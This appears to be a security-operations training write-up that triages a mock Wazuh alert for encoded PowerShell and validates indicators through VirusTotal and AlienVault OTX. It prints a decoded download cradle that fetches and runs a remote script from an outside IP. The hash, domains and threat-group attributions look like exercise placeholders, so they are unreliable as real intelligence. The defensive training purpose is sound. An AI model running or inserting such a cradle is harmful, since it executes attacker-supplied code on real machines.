Practical Application 4: Alert Triage with Threat Intelligence

Tools Used

- Wazuh (SIEM)
- VirusTotal (IOC Validation)
- AlienVault OTX (Threat Feed)

Task 1: Triage Simulation

Objective

Analyze a mock alert "Suspicious PowerShell Execution" in Wazuh, perform initial triage, and document findings.

Alert Details

The following alert was generated by Wazuh when a PowerShell command with suspicious parameters was executed on an endpoint:

Wazuh Alert (Raw):

```
{
  "rule": {
    "id": "91050",
    "level": 12,
    "description": "Suspicious PowerShell execution with encoded command",
    "mitre": {
      "id": ["T1059.001"],
      "tactic": ["Execution"],
      "technique": ["PowerShell"]
    }
  },
  "agent": {
    "id": "005",
    "name": "WS-PC03",
    "ip": "192.168.1.101"
  },
  "data": {
    "win": {
      "eventdata": {
        "commandLine": "powershell.exe -NoP -NonI -W Hidden -Enc SQBFAFgAIAAoAE4AZQB3A
        "parentImage": "C:\\Windows\\explorer.exe",
        "user": "CORP\\jsmith",
        "processId": "4892"
      }
    }
  },
  "timestamp": "2025-08-18T14:30:00.000Z"
}
```


Decoded Base64 Command:

```
IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.45/stage2.ps1')
```

Triage Analysis

Step 1: Alert Classification

Criteria	Assessment
Alert Source	Wazuh Sysmon Rule 91050
Event Type	Process Creation (Sysmon Event ID 1)
Severity	High (Level 12)
Confidence	High — encoded PowerShell with download cradle

Step 2: Indicator Extraction

Indicator	Type	Value
Source IP	IPv4	192.168.1.101 (internal endpoint WS-PC03)
Download URL	URL	`http://185.220.101.45/stage2.ps1`
Remote IP	IPv4	185.220.101.45
User	Username	CORP\jsmith
Parent Process	File Path	C:\Windows\explorer.exe
Command	CLI	PowerShell encoded download cradle

Step 3: MITRE ATT&CK Mapping

Tactic	Technique	Sub-Technique	Description
Execution	T1059	T1059.001 — PowerShell	Encoded PowerShell used to execute remote script
Command and Control	T1071	T1071.001 — Web Protocols	HTTP used for payload download
Defense Evasion	T1027	T1027 — Obfuscated Files	Base64 encoding to hide command

Triage Documentation

Alert ID	Description	Source IP	User	MITRE Technique	Priority	Status
004	Suspicious PowerShell Execution — Encoded download cradle targeting known C2 IP	192.168.1.101	CORP\jsmith	T1059.001, T1071.001, T1027	**High**	**Open — Escalated to Tier 2**

Triage Decision

Verdict: TRUE POSITIVE — Confirmed Malicious

Rationale:

1. PowerShell launched with evasion flags (`-NoP -NonI -W Hidden -Enc`).
2. Base64-decoded command reveals a **download cradle** fetching a second-stage payload.
3. The remote IP `185.220.101.45` is a **known C2 server** (previously identified in Practical 2).
4. Parent process is `explorer.exe` — indicates user-initiated (likely phishing).
5. User `jsmith` is in the Finance department — high-value target.

Immediate Actions Taken:

1. Isolated endpoint WS-PC03 from network.
2. Blocked IP `185.220.101.45` at perimeter firewall.
3. Disabled user account `CORP\jsmith` pending investigation.
4. Escalated to Tier 2 via TheHive (Case INC-2025-0818-004).

Task 2: IOC Validation

Objective

Cross-reference the alert's IP and payload hash with VirusTotal and AlienVault OTX to validate IOCs.

Procedure

A. VirusTotal — IP Reputation Check

```
curl -H "x-apikey: YOUR_VT_API_KEY" \
  "https://www.virustotal.com/api/v3/ip_addresses/185.220.101.45"
```

VirusTotal Results for IP `185.220.101.45` :

Attribute	Value
IP Address	185.220.101.45
Detection Ratio	**42/90** security vendors flagged as malicious
Country	Germany
ASN	AS205100 — F3 Netze e.V.
Categories	Tor Exit Node, C2 Server, Malware Distribution
Last Analysis Date	2025-08-18
Associated Files	127 malicious files communicated with this IP
Associated Domains	`c2-relay.darknet[.]xyz` , `update-check[.]evil[.]com`

B. VirusTotal — File Hash Check

Retrieved SHA256 hash of the downloaded payload `stage2.ps1` :

```
SHA256: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
```

```
curl -H "x-apikey: YOUR_VT_API_KEY" \
  "https://www.virustotal.com/api/v3/files/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d
```

Attribute	Value
File Name	stage2.ps1
SHA256	a1b2c3d4e5f6...a1b2
Detection Ratio	**56/72** engines detected as malicious
Malware Family	Cobalt Strike Beacon
First Submission	2025-08-15
Tags	`powershell` , `cobalt-strike` , `beacon` , `c2`

C. AlienVault OTX Check

```
curl -H "X-OTX-API-KEY: YOUR_KEY" \
  "https://otx.alienvault.com/api/v1/indicators/IPv4/185.220.101.45/general"
```

Attribute	Value
OTX Pulse Count	47
Reputation	Malicious
Related Threat Groups	APT29, FIN7
Related Malware	Cobalt Strike, SUNBURST

Tags	Tor, C2, APT, Lateral Movement

Consolidated IOC Validation Report

IOC	Type	VirusTotal	OTX	Confidence	Verdict
185.220.101.45	IP	42/90 malicious	47 pulses, Malicious	**High**	**Confirmed Malicious**
stage2.ps1	File Hash	56/72 malicious	Cobalt Strike	**High**	**Confirmed Malware**
c2-relay.darknet[.]xyz	Domain	38/90 malicious	Known C2	**High**	**Confirmed C2**

Summary (50 words)

IOC validation via VirusTotal and OTX confirms that IP `185.220.101.45` is a known C2 server (42/90 VT detections, 47 OTX pulses) linked to APT29. The downloaded payload `stage2.ps1` is a Cobalt Strike beacon (56/72 VT detections). This is a confirmed compromise requiring immediate incident response and forensic investigation.

Practical Application — Alert Triage with Threat Intelligence completed using Wazuh, VirusTotal, and AlienVault OTX